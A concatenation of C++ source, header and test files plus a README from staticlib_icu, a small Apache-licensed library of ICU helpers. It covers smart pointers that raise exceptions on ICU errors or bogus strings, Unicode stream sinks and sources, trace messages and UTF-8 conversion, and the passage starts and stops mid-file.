icu::ErrorCode ec{};
ucnv_toUnicode(conv.get(), std::addressof(dest), dest + buf.size(),
std::addressof(src), src + (length - read), nullptr, false, ec);
if (!(ec.isSuccess() || U_BUFFER_OVERFLOW_ERROR == ec.get())) throw IcuUtilsException(TRACEMSG(std::string() +
"Conversion error: [" + ec.errorName() + "]"));
ptrdiff_t src_read = src - src_orig;
ptrdiff_t dest_written = dest - dest_orig;
read += src_read;
storage->append(buf.data(), static_cast<int32_t>(dest_written));
}
return length;
}
icu::UnicodeString& ustring_sink::get_string() {
return str;
}
std::streamsize ustring_sink::flush() {
return 0;
}
} // namespace
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: uarray_source.hpp
* Author: alex
*
* Created on November 19, 2015, 12:25 PM
*/
#ifndef STATICLIB_ICU_UARRAY_SOURCE_HPP
#define STATICLIB_ICU_UARRAY_SOURCE_HPP
#include <ios>
#include <memory>
#include <string>
#include <cstdint>
#include "unicode/uchar.h"
#include "unicode/ucnv.h"
#include "staticlib/icu_utils/IcuUtilsException.hpp"
#include "staticlib/icu_utils/UConverterDeleter.hpp"
namespace staticlib {
namespace icu_utils {
/**
* Source non-owning implementation that reads data from the specified UChar array
*/
class uarray_source {
/**
* Source array
*/
const UChar* arr;
/**
* Array length
*/
int32_t arrlen;
/**
* Current array position
*/
int32_t idx;
/**
* Pointer to converter
*/
std::unique_ptr<UConverter, UConverterDeleter> conv;
public:
/**
* Constructor
*
* @param arr pointer to UChar buffer
* @param length buffer length
* @param encoding encoding to use, "UTF-8" by default
*/
uarray_source(const UChar* arr, int32_t length, const std::string& encoding = "UTF-8");
/**
* Constructor for const string
*
* @param str const string reference
* @param encoding encoding to use, "UTF-8" by default
*/
uarray_source(const icu::UnicodeString& str, const std::string& encoding = "UTF-8");
/**
* Deleted copy constructor
*
* @param other instance
*/
uarray_source(const uarray_source&) = delete;
/**
* Deleted copy assignment operator
*
* @param other instance
* @return this instance
*/
uarray_source& operator=(const uarray_source&) = delete;
/**
* Move constructor
*
* @param other other instance
*/
uarray_source(uarray_source&& other);
/**
* Move assignment operator
*
* @param other other instance
* @return this instance
*/
uarray_source& operator=(uarray_source&& other);
/**
* Read implementation
*
* @param buf output buffer
* @param length number of bytes to process
* @return number of bytes written into specified buf
*/
std::streamsize read(char* buf, std::streamsize length);
};
} // namespace
}
#endif /* STATICLIB_ICU_UARRAY_SOURCE_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_source.cpp
* Author: alex
*
* Created on November 19, 2015, 1:15 PM
*/
#include "staticlib/icu_utils/ustring_source.hpp"
#include "unicode/errorcode.h"
#include "staticlib/config.hpp"
#include "staticlib/icu_utils/ustr_ptr.hpp"
namespace staticlib {
namespace icu_utils {
ustring_source::ustring_source(icu::UnicodeString&& str, const std::string& encoding) :
str(std::move(str)),
idx(0),
conv(make_uconv(encoding)) { }
ustring_source::ustring_source(ustring_source&& other) :
str(std::move(other.str)),
idx(other.idx),
conv(std::move(other.conv)) { }
ustring_source& ustring_source::operator=(ustring_source&& other) {
str = std::move(other.str);
idx = other.idx;
other.idx = 0;
conv = std::move(other.conv);
return *this;
}
std::streamsize ustring_source::read(char* buf, std::streamsize length) {
if (idx >= str.length()) return std::char_traits<char>::eof();
const UChar* src = str.getBuffer() + idx;
const UChar* src_orig = src;
char* dest_orig = buf;
icu::ErrorCode ec{};
ucnv_fromUnicode(conv.get(), std::addressof(buf), buf + length, std::addressof(src),
src + (str.length() - idx), nullptr, false, ec);
if (!(ec.isSuccess() || U_BUFFER_OVERFLOW_ERROR == ec.get())) throw IcuUtilsException(TRACEMSG(std::string() +
"Conversion error: [" + ec.errorName() + "]"));
ptrdiff_t src_read = src - src_orig;
ptrdiff_t dest_written = buf - dest_orig;
idx += static_cast<int32_t>(src_read);
return static_cast<std::streamsize> (dest_written);
}
icu::UnicodeString& ustring_source::get_string() {
return str;
}
} // namespace
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_sink_test.cpp
* Author: alex
*
* Created on November 18, 2015, 2:31 PM
*/
#include "staticlib/icu_utils/ustring_sink.hpp"
#include <iostream>
#include <string>
#include "unicode/uclean.h"
#include "staticlib/config/assert.hpp"
#include "staticlib/icu_utils/ustring_utils.hpp"
namespace iu = staticlib::icu_utils;
void test_small_src() {
std::string hello = "\xd0\xbf\xd1\x80\xd0\xb8\xd0\xb2\xd0\xb5\xd1\x82";
iu::ustring_sink sink{};
std::streamsize written1 = sink.write(hello.c_str(), 2);
slassert(2 == written1);
std::streamsize written2 = sink.write(hello.c_str() + 2, 1);
slassert(1 == written2);
std::streamsize written3 = sink.write(hello.c_str() + 3, 9);
slassert(9 == written3);
std::string res = iu::to_utf8(sink.get_string());
slassert(hello == res);
}
void test_small_dest() {
std::string hello = "\xd0\xbf\xd1\x80\xd0\xb8\xd0\xb2\xd0\xb5\xd1\x82";
iu::ustring_sink sink{5};
std::streamsize written = sink.write(hello.c_str(), hello.length());
slassert(12 == written);
std::string res = iu::to_utf8(sink.get_string());
slassert(hello == res);
}
int main() {
try {
test_small_src();
test_small_dest();
u_cleanup();
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
return 0;
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: IcuBogusException.hpp
* Author: alex
*
* Created on August 31, 2015, 8:55 PM
*/
#ifndef STATICLIB_ICU_ICUBOGUSEXCEPTION_HPP
#define STATICLIB_ICU_ICUBOGUSEXCEPTION_HPP
#include "staticlib/config/BaseException.hpp"
namespace staticlib {
namespace icu_utils {
/**
* Exception that is thrown if instance of "icu::UnicodeString" became bogus
*/
class IcuBogusException : public staticlib::config::BaseException {
public:
/**
* Default constructor
*/
IcuBogusException() = default;
/**
* Constructor with message
*
* @param msg error message
*/
IcuBogusException(const std::string& msg) :
staticlib::config::BaseException(msg) { }
};
} // namespace
}
#endif /* STATICLIB_ICU_ICUBOGUSEXCEPTION_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_source.hpp
* Author: alex
*
* Created on November 18, 2015, 1:12 PM
*/
#ifndef STATICLIB_ICU_USTRING_SOURCE_HPP
#define STATICLIB_ICU_USTRING_SOURCE_HPP
#include <ios>
#include <memory>
#include <string>
#include <cstdint>
#include "unicode/ucnv.h"
#include "unicode/unistr.h"
#include "staticlib/icu_utils/IcuUtilsException.hpp"
#include "staticlib/icu_utils/UConverterDeleter.hpp"
namespace staticlib {
namespace icu_utils {
/**
* Source implementation that reads data from the specified string
*/
class ustring_source {
/**
* Source string
*/
icu::UnicodeString str;
/**
* Current string position
*/
int32_t idx;
/**
* Pointer to converter
*/
std::unique_ptr<UConverter, UConverterDeleter> conv;
public:
/**
* Constructor
*
* @param str source string
* @param encoding encoding to use, "UTF-8" by default
*/
ustring_source(icu::UnicodeString&& str, const std::string& encoding = "UTF-8");
/**
* Deleted copy constructor
*
* @param other instance
*/
ustring_source(const ustring_source&) = delete;
/**
* Deleted copy assignment operator
*
* @param other instance
* @return this instance
*/
ustring_source& operator=(const ustring_source&) = delete;
/**
* Move constructor
*
* @param other other instance
*/
ustring_source(ustring_source&& other);
/**
* Move assignment operator
*
* @param other other instance
* @return this instance
*/
ustring_source& operator=(ustring_source&& other);
/**
* Read implementation
*
* @param buf output buffer
* @param length number of bytes to process
* @return number of bytes written into specified buf
*/
std::streamsize read(char* buf, std::streamsize length);
/**
* Underlying string accessor
*
* @return underlying string
*/
icu::UnicodeString& get_string();
};
} // namespace
}
#endif /* STATICLIB_ICU_USTRING_SOURCE_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: utracemsg.cpp
* Author: alex
*
* Created on September 4, 2015, 7:50 AM
*/
#include "staticlib/icu_utils/utracemsg.hpp"
#include "staticlib/icu_utils/ustring_utils.hpp"
namespace staticlib {
namespace icu_utils {
namespace { // anonymous
icu::UnicodeString extract_filename(const icu::UnicodeString& str) {
auto slash_ind = str.lastIndexOf("/");
if (-1 != slash_ind && str.length() > slash_ind) {
return str.tempSubString(slash_ind + 1);
} else {
auto backslash_ind = str.lastIndexOf("\\");
if (-1 != backslash_ind && str.length() > backslash_ind) {
return str.tempSubString(backslash_ind + 1);
}
}
return str;
}
icu::UnicodeString extract_function_name(const icu::UnicodeString& str) {
auto paren_ind = str.indexOf("(");
auto funcsig = -1 != paren_ind ? str.tempSubString(0, paren_ind) : str;
auto space_ind = funcsig.lastIndexOf(" ");
if (-1 != space_ind && funcsig.length() > space_ind) {
return funcsig.tempSubString(space_ind + 1);
}
return funcsig;
}
} // namespace
icu::UnicodeString utracemsg(const icu::UnicodeString& message, const icu::UnicodeString& file,
const icu::UnicodeString& func, int line) {
return icu::UnicodeString{}
.append(message)
.append("\n at ")
.append(extract_function_name(func))
.append("(")
.append(extract_filename(file))
.append(":")
.append(to_ustring(line))
.append(")");
}
} // namespace
}
<file_sep>Staticlibs utilities library for ICU
====================================
This project is a part of [Staticlibs](http://staticlibs.net/).
This project contains a number of utilities for the [ICU library](https://github.com/staticlibs/external_icu).
Link to the [API documentation](http://staticlibs.net/staticlib_icu/docs/html/namespacestaticlib_1_1icu__utils.html).
ICU-specific smart pointers
---------------------------
This project contains two ICU-specific smart pointers which goal is to replace ICU error-checking with exceptions:
- `ustr_ptr` and `ucstr_ptr` (specializations of `ubogus_ptr`, [API docs](http://staticlibs.net/utils_icu/docs/html/classstaticlib_1_1icu__utils_1_1ubogus__ptr.html)):
wraps `icu:UnicodeString` and check whether string is "bogus"
before and after each method called through this smart pointer. If string found to be "bogus" -
`IcuBogusException` is thrown
Example:
namespace su = staticlib::icu_utils;
# normal use
icu::UnicodeString st{"foo"};
su::ustr_ptr pt{st};
pt->toUpper();
assert(icu::UnicodeString{"FOO"} == pt.get());
# will throw exception
icu::UnicodeString st{"foo"};
su::ustr_ptr pt{st};
# or any other method that made string bogus
pt->setToBogus();
- `uobj_ptr` ([API docs](http://staticlibs.net/utils_icu/docs/html/classstaticlib_1_1icu__utils_1_1uobj__ptr.html)):
wraps any ICU object, which methods support `icu::ErrorCode` parameter for error reporting.
This smart pointer holds an instance of `icu::ErrorCode` and checks this instance before and after each
method called through this smart pointer. If error code indicates a failure - `IcuErrorException` is thrown.
Example:
namespace su = staticlib::icu_utils;
# normal use with calendar
icu::ErrorCode cal_ec{};
icu::GregorianCalendar cal_obj{0, 0, 0, cal_ec};
auto cal = su::make_uobj(cal_obj, cal_ec);
cal->setTime(42, cal.code());
auto year = cal->get(UCalendarDateFields::UCAL_YEAR, cal.code());
# will throw exception on invalid regex compilation
icu::UnicodeString st{"((fail"};
icu::RegexPattern pattern{};
auto pt = su::make_uobj(pattern, icu::ErrorCode{});
pt->compile(st, 0, pt.code());
Both smart pointers are non-owning (hold a reference to the corresponding ICU object).
How to build
------------
[CMake](http://cmake.org/) is required for building.
[pkg-config](http://www.freedesktop.org/wiki/Software/pkg-config/) utility is used for dependency management.
For Windows users ready-to-use binary version of `pkg-config` can be obtained from [tools_windows_pkgconfig](https://github.com/staticlibs/tools_windows_pkgconfig) repository.
See [StaticlibsPkgConfig](https://github.com/staticlibs/wiki/wiki/StaticlibsPkgConfig) for Staticlibs-specific details about `pkg-config` usage.
To build the library on Windows using Visual Studio 2013 Express run the following commands using
Visual Studio development command prompt
(`C:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\Tools\Shortcuts\VS2013 x86 Native Tools Command Prompt`):
git clone --recursive https://github.com/staticlibs/external_icu.git
git clone https://github.com/staticlibs/staticlib_config.git
git clone https://github.com/staticlibs/staticlib_icu.git
cd staticlib_icu
mkdir build
cd build
cmake ..
msbuild staticlib_icu.sln
Cloning of [external_icu](https://github.com/staticlibs/external_icu) is not required on Linux -
system [ICU](http://site.icu-project.org/) libraries will be used instead.
To build on other platforms using GCC or Clang with GNU Make:
cmake .. -DCMAKE_CXX_FLAGS="--std=c++11"
make
See [StaticlibsToolchains](https://github.com/staticlibs/wiki/wiki/StaticlibsToolchains) for
more information about the CMake toolchains setup and cross-compilation.
License information
-------------------
This project is released under the [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0).
Changelog
---------
**2016-07-12**
* version 1.1.4
* type aliases usage cleanup
* minor improvement for `UTRACEMSG`
**2016-01-16**
* version 1.1.3
* minor CMake changes
**2015-12-03**
* version 1.1.2
* headers cleanup
* cmake minor cleanup
* deplibs support
**2015-11-19**
* version 1.1.1
* `uarray_source` added
**2015-11-18**
* version 1.1.0
* icu dep update
* deplibs cache support
* `ustring_` sink and source added
**2015-11-01**
* version 1.0.1, `pkg-config` integration
**2015-09-11**
* version 1.0.0 - initial public version
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustr_ptr_test.cpp
* Author: alex
*
* Created on August 31, 2015, 9:13 PM
*/
#include "staticlib/icu_utils/ustr_ptr.hpp"
#include <iostream>
#include "unicode/uclean.h"
#include "unicode/unistr.h"
#include "unicode/ustream.h"
#include "staticlib/config/assert.hpp"
namespace su = staticlib::icu_utils;
void test_call() {
icu::UnicodeString st{"foo"};
su::ustr_ptr pt{st};
pt->toUpper();
slassert(icu::UnicodeString{"FOO"} == st);
}
void test_const() {
const icu::UnicodeString st{"foo"};
su::ucstr_ptr pt{st};
slassert(3 == pt->length());
}
void test_was_bogus() {
icu::UnicodeString st{"foo"};
su::ustr_ptr pt{st};
st.setToBogus();
bool caught = false;
try {
pt->toUpper();
} catch (const su::IcuBogusException&) {
caught = true;
}
slassert(caught);
}
void test_became_bogus() {
icu::UnicodeString st{"foo"};
su::ustr_ptr pt{st};
bool caught = false;
try {
pt->setToBogus();
} catch (const su::IcuBogusException&) {
caught = true;
}
slassert(caught);
}
int main() {
try {
test_call();
test_const();
test_was_bogus();
test_became_bogus();
u_cleanup();
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
return 0;
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: number_test.cpp
* Author: alex
*
* Created on September 2, 2015, 9:09 AM
*/
#include "staticlib/icu_utils/uobj_ptr.hpp"
#include <iostream>
#include "unicode/decimfmt.h"
#include "unicode/errorcode.h"
#include "unicode/fmtable.h"
#include "unicode/uclean.h"
#include "unicode/unistr.h"
#include "staticlib/config/assert.hpp"
namespace su = staticlib::icu_utils;
void test_parse() {
icu::UnicodeString pattern{"###############################"};
icu::ErrorCode fmt_ec{};
icu::DecimalFormat fmt_obj{pattern, fmt_ec};
auto fmt = su::make_uobj(fmt_obj, fmt_ec);
icu::Formattable out_obj{};
auto out = su::make_uobj(out_obj, icu::ErrorCode{});
icu::UnicodeString text{"42"};
fmt->parse(text, out.get(), fmt.code());
slassert(icu::Formattable::Type::kLong == out->getType());
// cast not needed with newer icu
slassert(42 == out->getLong(static_cast<UErrorCode&>(out.code())));
}
int main() {
try {
test_parse();
u_cleanup();
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
return 0;
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_sink.hpp
* Author: alex
*
* Created on November 18, 2015, 1:11 PM
*/
#ifndef STATICLIB_ICU_USTRING_SINK_HPP
#define STATICLIB_ICU_USTRING_SINK_HPP
#include <ios>
#include <memory>
#include <string>
#include <vector>
#include "unicode/ucnv.h"
#include "unicode/unistr.h"
#include "staticlib/icu_utils/IcuUtilsException.hpp"
#include "staticlib/icu_utils/UConverterDeleter.hpp"
namespace staticlib {
namespace icu_utils {
/**
* Sink implementation that writes data to the underlying "icu::UnicodeString"
*/
class ustring_sink {
/**
* Destination string
*/
icu::UnicodeString str;
/**
* Pointer to converter
*/
std::unique_ptr<UConverter, UConverterDeleter> conv;
/**
* Buffer
*/
std::vector<UChar> buf;
public:
/**
* Constructor
*
* @param buf_size size of the UTF8->UTF16 conversion buffer
* @param encoding encoding to use
*/
ustring_sink(size_t buf_size = 1024, const std::string& encoding = "UTF-8");
/**
* Constructor
*
* @param buf_size size of the UTF8->UTF16 conversion buffer
* @param str string to write to
* @param encoding encoding to use
*/
ustring_sink(icu::UnicodeString&& str, size_t buf_size = 1024, const std::string& encoding = "UTF-8");
/**
* Deleted copy constructor
*
* @param other instance
*/
ustring_sink(const ustring_sink&) = delete;
/**
* Deleted copy assignment operator
*
* @param other instance
* @return this instance
*/
ustring_sink& operator=(const ustring_sink&) = delete;
/**
* Move constructor
*
* @param other other instance
*/
ustring_sink(ustring_sink&& other);
/**
* Move assignment operator
*
* @param other other instance
* @return this instance
*/
ustring_sink& operator=(ustring_sink&& other);
/**
* Write implementation
*
* @param b source buffer
* @param length number of bytes to process
* @return number of bytes processed (read from source buf)
*/
std::streamsize write(const char* b, std::streamsize length);
/**
* Underlying string accessor
*
* @return underlying string
*/
icu::UnicodeString& get_string();
/**
* No-op flush method
*
* @return 0
*/
std::streamsize flush();
};
} // namespace
}
#endif /* STATICLIB_ICU_USTRING_SINK_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: icu_utils.hpp
* Author: alex
*
* Created on August 31, 2015, 8:36 PM
*/
#ifndef STATICLIB_ICU_UTILS_HPP
#define STATICLIB_ICU_UTILS_HPP
#include "staticlib/icu_utils/IcuBogusException.hpp"
#include "staticlib/icu_utils/IcuErrorException.hpp"
#include "staticlib/icu_utils/IcuUtilsException.hpp"
#include "staticlib/icu_utils/uarray_source.hpp"
#include "staticlib/icu_utils/uobj_ptr.hpp"
#include "staticlib/icu_utils/ustr_ptr.hpp"
#include "staticlib/icu_utils/ustring_sink.hpp"
#include "staticlib/icu_utils/ustring_source.hpp"
#include "staticlib/icu_utils/ustring_utils.hpp"
#include "staticlib/icu_utils/utracemsg.hpp"
#endif /* STATICLIB_ICU_UTILS_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustr_ptr.hpp
* Author: alex
*
* Created on August 31, 2015, 8:35 PM
*/
#ifndef STATICLIB_ICU_USTR_PTR_HPP
#define STATICLIB_ICU_USTR_PTR_HPP
#include <exception>
#include <string>
#include "unicode/unistr.h"
#include "staticlib/config.hpp"
#include "staticlib/icu_utils/IcuBogusException.hpp"
#include "staticlib/icu_utils/ustring_utils.hpp"
namespace staticlib {
namespace icu_utils {
namespace ustr_detail {
/**
* Proxy class that implements "postfix" checks for "icu::UnicodeString" bogus state.
* Based on this paper - http://www.stroustrup.com/wrapper.pdf .
* This class is an implementation detail and should not be used by client code.
*/
template <typename T>
class call_proxy {
/**
* Wrapped ICU string reference
*/
T& delegate;
public:
/**
* Deleted copy-constructor
*/
call_proxy(const call_proxy&) = delete;
/**
* Deleted copy assignment operator
*/
call_proxy& operator=(const call_proxy&) = delete;
/**
* Deleted move assignment operator
*/
call_proxy& operator=(call_proxy&&) = delete;
/**
* Move constructor
*
* @param other other proxy instance
*/
call_proxy(call_proxy&& other) :
delegate(other.delegate) { }
/**
* Constructor
*
* @param delegate wrapped ICU string reference
*/
call_proxy(T& delegate) :
delegate(delegate) { }
/**
* Destructor, will check string bogus state (possibly set by last ICU method call through "ustr_ptr")
* and if state is bogus (and if currently no stack unwinding in progress)
* will throw "IcuErrorException".
*/
~call_proxy() STATICLIB_NOEXCEPT_FALSE {
// be careful: http://www.gotw.ca/gotw/047.htm
if (delegate.isBogus() && !std::uncaught_exception()) {
throw IcuBogusException(TRACEMSG("Specified string became bogus"));
}
}
/**
* Operator implements proxy logic
*
* @return pointer to ICU object
*/
T* operator->() {
return &delegate;
}
};
} // namespace
/**
* Smart pointer, wraps "icu:UnicodeString" and check whether string is "bogus"
* before and after each method called through this smart pointer. If string found to be "bogus" -
* "IcuBogusException" is thrown
*/
template <typename T>
class ubogus_ptr {
/**
* Wrapped ICU string reference
*/
T& delegate;
public:
/**
* Deleted copy-constructor
*/
ubogus_ptr(const ubogus_ptr&) = delete;
/**
* Deleted copy assignment operator
*/
ubogus_ptr& operator=(const ubogus_ptr&) = delete;
/**
* Deleted move assignment operator
*/
ubogus_ptr& operator=(ubogus_ptr&&) = delete;
/**
* Move constructor
*
* @param other other proxy instance
*/
ubogus_ptr(ubogus_ptr&& other) :
delegate(other.delegate) {
if (delegate.isBogus()) {
throw IcuBogusException(TRACEMSG("Specified string was bogus"));
}
}
/**
* Constructor, wraps specified reference to ICU string
*
* @param delegate reference to ICU object
*/
ubogus_ptr(T& delegate) :
delegate(delegate) {
if (delegate.isBogus()) {
throw IcuBogusException(TRACEMSG("Specified string was bogus"));
}
}
/**
* ICU string accessor
*
* @return reference to wrapped ICU string
*/
T& get() {
return delegate;
}
/**
* Returns UTF-8 representation of wrapped ICU string
*
* @return UTF-8 representation of wrapped ICU string
*/
std::string to_utf8() {
return icu_utils::to_utf8(delegate);
}
/**
* Operator implements proxy logic checking string bogus state and then returning "call_proxy" instance
*
* @return instance of "call_proxy" object containing references to wrapped ICU string
*/
ustr_detail::call_proxy<T> operator->() {
if (delegate.isBogus()) {
throw IcuBogusException(TRACEMSG("Specified string was bogus"));
}
return ustr_detail::call_proxy<T>(delegate);
}
};
/**
* Smart pointer specialization for non-constant ICU strings
*/
using ustr_ptr = ubogus_ptr<icu::UnicodeString>;
/**
* Smart pointer specialization for constant ICU strings
*/
using ucstr_ptr = ubogus_ptr<const icu::UnicodeString>;
} // namespace
}
#endif /* STATICLIB_ICU_USTR_PTR_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: date_test.cpp
* Author: alex
*
* Created on September 1, 2015, 11:53 AM
*/
#include "staticlib/icu_utils/uobj_ptr.hpp"
#include <iostream>
#include "unicode/errorcode.h"
#include "unicode/gregocal.h"
#include "unicode/locid.h"
#include "unicode/smpdtfmt.h"
#include "unicode/uclean.h"
#include "unicode/unistr.h"
#include "unicode/ustream.h"
#include "staticlib/config/assert.hpp"
#include "staticlib/icu_utils/ustr_ptr.hpp"
namespace su = staticlib::icu_utils;
const icu::UnicodeString FMT{"yyyy-MM-dd HH:mm:ss"};
const icu::Locale ENG_LOCALE = icu::Locale::getEnglish();
void test_print() {
icu::ErrorCode sdf_ec{};
icu::SimpleDateFormat sdf_obj{FMT, ENG_LOCALE, sdf_ec};
auto sdf = su::make_uobj(sdf_obj, sdf_ec);
icu::ErrorCode cal_ec{};
icu::GregorianCalendar cal_obj{2014, 1, 21, 14, 15, 42, cal_ec};
auto cal = su::make_uobj(cal_obj, cal_ec);
icu::UnicodeString out_str{};
su::ustr_ptr out{out_str};
sdf->format(cal.get(), out.get(), nullptr, cal.code());
slassert(out.to_utf8() == "2014-02-21 14:15:42");
}
void test_parse() {
icu::ErrorCode sdf_ec{};
icu::SimpleDateFormat sdf_obj{FMT, ENG_LOCALE, sdf_ec};
auto sdf = su::make_uobj(sdf_obj, sdf_ec);
icu::UnicodeString st{"2014-02-21 14:15:42"};
auto date = sdf->parse(st, sdf.code());
icu::ErrorCode cal_ec{};
icu::GregorianCalendar cal_obj{0, 0, 0, cal_ec};
auto cal = su::make_uobj(cal_obj, cal_ec);
cal->setTime(date, cal.code());
slassert(2014 == cal->get(UCalendarDateFields::UCAL_YEAR, cal.code()));
slassert(1 == cal->get(UCalendarDateFields::UCAL_MONTH, cal.code()));
slassert(21 == cal->get(UCalendarDateFields::UCAL_DAY_OF_MONTH, cal.code()));
slassert(14 == cal->get(UCalendarDateFields::UCAL_HOUR_OF_DAY, cal.code()));
slassert(15 == cal->get(UCalendarDateFields::UCAL_MINUTE, cal.code()));
slassert(42 == cal->get(UCalendarDateFields::UCAL_SECOND, cal.code()));
}
int main() {
try {
test_print();
test_parse();
u_cleanup();
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
return 0;
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_utils.cpp
* Author: alex
*
* Created on September 2, 2015, 11:29 AM
*/
#include "staticlib/icu_utils/ustring_utils.hpp"
#include "unicode/msgfmt.h"
#include "unicode/bytestream.h"
#include "unicode/unistr.h"
#include "staticlib/icu_utils/ustr_ptr.hpp"
#include "staticlib/icu_utils/uobj_ptr.hpp"
namespace staticlib {
namespace icu_utils {
size_t UStringHasher::operator()(icu::UnicodeString value) const {
return static_cast<size_t> (value.hashCode());
}
std::string to_utf8(const icu::UnicodeString& str) {
try {
ucstr_ptr ptr{str};
std::string bytes;
icu::StringByteSink<std::string> sbs(&bytes);
ptr->toUTF8(sbs);
return bytes;
} catch (const std::exception& e) {
throw IcuUtilsException(TRACEMSG(std::string(e.what()) +
"\nError converting string to UTF-8"));
}
}
icu::UnicodeString from_utf8(const std::string& str) {
icu::UnicodeString res = icu::UnicodeString::fromUTF8(str);
